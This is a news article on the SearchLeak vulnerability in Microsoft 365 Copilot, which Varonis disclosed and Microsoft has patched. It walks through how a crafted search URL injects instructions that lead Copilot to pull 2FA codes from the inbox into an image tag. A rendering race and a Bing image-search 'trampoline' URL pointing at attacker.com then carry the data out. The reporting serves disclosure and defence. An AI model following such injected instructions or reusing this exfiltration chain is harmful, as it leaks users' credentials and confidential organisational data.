Microsoft last Tuesday patched a vulnerability it rated max critical in Copilot for M365, after Varonis researchers showed a proof-of-concept exploit could pull 2FA codes and other sensitive data out of any email the assistant could read. The researchers published the technical writeup Monday, naming the attack SearchLeak. The victim only had to click a link; Copilot did the rest.
The flaw sits in the same structural gap that has produced a steady drumbeat of LLM data-exfiltration bugs across the industry. Models cannot reliably distinguish instructions issued by the user from instructions hidden in third-party content they are asked to summarize or act on. Microsoft and its peers have responded with layers of guardrails — wrapping output in code blocks, restricting which domains the assistant can hit — rather than a fix to the underlying confusion.
Varonis's chain started with what the researchers call a Parameter-to-Prompt Injection. Instead of burying a malicious instruction inside an email body, the attacker plants it in the q parameter of a Microsoft Copilot search URL of the form https://m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q=. When the target clicks, Copilot reads the parameter as a user query and complies.
“The search functionality is exactly what attackers need, because even with limited capabilities, a user with access to critical information is enough”— Varonis researchers, Security researchers, Varonis
Key facts
- 01Microsoft patched the M365 Copilot vulnerability, rated max critical, last Tuesday after a Varonis disclosure.
- 02Varonis's SearchLeak exploit could retrieve 2FA codes and other sensitive content from any email Copilot could access.
- 03The attack required only a single click on a crafted URL; the victim typed nothing.
- 04The exploit chain used Bing as a trampoline to bypass Copilot's content security policy restricting outbound requests.
- 05Blast radius extended to SharePoint documents, OneDrive files, meeting notes, and other indexed M365 content.
The instruction tells Copilot to search the user's inbox, pull a sensitive value such as a one-time 2FA code from a message title, and embed it inside the src attribute of an <img> tag in the response.
Microsoft's defense against this kind of trick is to wrap Copilot's output in <code> blocks so the browser renders it as inert text rather than live HTML. Varonis found the wrap fires only after the model's thinking phase finishes. While Copilot streams its draft, the browser sees a real <img> tag in the DOM, renders it, and dispatches the HTTP request to the src URL before the guardrail closes around the response. By the time the code block appears, the request has already left.
A second guardrail restricts which destinations Copilot is allowed to call. Microsoft domains, including Bing, are on the allowlist; arbitrary attacker domains are not. Varonis bounced the request off Bing's image search endpoint — https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/STOLEN_DATA/image.png — using Bing as a permitted trampoline that fetched the attacker-controlled URL and logged the exfiltrated data on the way through.
Because the exploit targets the Enterprise tier of Microsoft 365, the data within reach is whatever the signed-in user can see across the suite. That includes mail, meeting invites and notes, SharePoint documents, OneDrive files, and other indexed business content surfaced through Copilot's connectors.
“Since SearchLeak targets the Enterprise tier of Microsoft, the blast radius isn't limited to personal data—it's able to surface anything the user has access to inside the organization including emails, meeting invites and notes,”— Varonis researchers, Security researchers, Varonis
Microsoft fixed the specific bugs that made SearchLeak work on Tuesday. The patch closes the streaming-render race, the Bing trampoline path, and the parameter-injection vector Varonis used.
What the patch does not address is the class of attack. Every fix to date — Anthropic's, Google's, OpenAI's, Microsoft's — has been a guardrail bolted onto a model that still treats every piece of text in its context window as potentially authoritative. Researchers keep finding the next gap because the model itself cannot tell which strings are commands and which are data. SearchLeak is the same problem as the ASCII smuggling, indirect prompt injection, and markdown-image exfiltration bugs that preceded it, dressed in slightly different syntax.
Enterprise security teams running M365 Copilot should treat the patch as necessary but not sufficient. Outbound requests originating from Copilot's render path are worth monitoring, and any deployment that grants the assistant broad read access to mail and document stores is, by definition, a deployment where a future variant of this bug becomes a data-loss event. Microsoft's content security policy is the only thing standing between a clever URL and the contents of the inbox.
The commercial pressure on every frontier lab is to give agents wider tool access, longer autonomous horizons, and more enterprise data to chew through. The security reality is that the boundary between instruction and content is still unsolved, and each new capability expands the blast radius of the next bypass. Until a model architecture can distinguish the two reliably, enterprise AI security will continue to look like web security in the early 2000s — a patch, a new bypass, another patch, on a clock that never stops.
Working on something we should cover, or seeing a story we missed? Send leads, documents, or feedback to hello@aichatdaily.com. For sensitive tips, see our secure tips page for Signal and PGP options.
Spotted an error? Email hello@aichatdaily.com with the URL and the issue, or read our full corrections policy.
